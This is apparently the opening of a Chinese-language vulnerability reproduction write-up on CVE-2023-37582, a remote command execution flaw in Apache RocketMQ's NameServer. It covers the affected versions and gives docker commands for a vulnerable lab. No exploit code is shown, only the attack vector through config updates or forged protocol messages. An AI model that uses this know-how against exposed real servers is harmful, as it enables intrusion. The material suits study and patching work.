【漏洞复现】Apache RocketMQ 代码注入漏洞（CVE-2023-37582）

产品介绍

Apache RocketMQ是美国阿帕奇（Apache）基金会的一款轻量级的数据处理平台和消息传递引擎。

漏洞概述

Apache RocketMQ 存在代码注入漏洞，该漏洞源于当 NameServer 地址在外网泄露且缺乏权限验证时，NameServer 组件仍然存在远程命令执行漏洞，在 RocketMQ 5.1.0 及以下版本，在一定条件下，存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证，攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外，攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

RocketMQ < 4.9.7

RocketMQ < 5.1.2

复现环境

docker pull apache/rocketmq:4.9.4
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
